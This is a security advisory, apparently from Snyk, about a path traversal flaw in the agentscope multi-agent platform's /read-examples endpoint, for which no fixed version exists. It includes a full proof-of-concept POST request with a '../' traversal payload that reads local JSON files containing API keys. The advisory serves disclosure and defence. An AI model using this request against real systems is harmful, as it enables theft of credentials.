Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for agentscope
.
agentscope is an AgentScope: A Flexible yet Robust Multi-Agent Platform.
Affected versions of this package are vulnerable to External Control of File Name or Path through the /read-examples
endpoint. An attacker can read any local JSON file, containing API keys by sending a crafted POST request.
POST /read-examples HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Tyle:
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://127.0.0.1:5000/workstation
Content-Type: application/json
Content-Length: 115
{"lang":"","data":"/../../../../../../../../../../../../../../../home/user/Desktop/bug_bounty/my-script/test/poc"}